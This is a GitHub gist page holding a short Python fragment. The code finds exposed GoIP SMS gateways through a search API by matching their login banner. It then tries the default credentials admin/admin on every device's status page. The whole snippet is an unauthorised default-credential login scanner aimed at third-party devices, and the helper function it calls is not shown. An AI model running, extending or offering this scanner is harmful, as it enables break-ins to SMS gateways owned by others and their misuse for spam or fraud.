Skip to content

Instantly share code, notes, and snippets.

@jimywork
Last active December 8, 2019 16:08
Show Gist options
  • Save jimywork/148db4ae78401d78e3ee655f4130f275 to your computer and use it in GitHub Desktop.
Save jimywork/148db4ae78401d78e3ee655f4130f275 to your computer and use it in GitHub Desktop.
if __name__ == '__main__':
ipaddress = goipsms(apikey, 'HTTP/1.0 401 Please Authenticate WWW-Authenticate: Basic realm="Please Login"')
for e, ip in enumerate(ipaddress) :
try:
request = requests.get("{}/default/en_US/status.html?type=base".format(ip), auth=('admin', 'admin'), timeout=5)
except Exception as error:
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment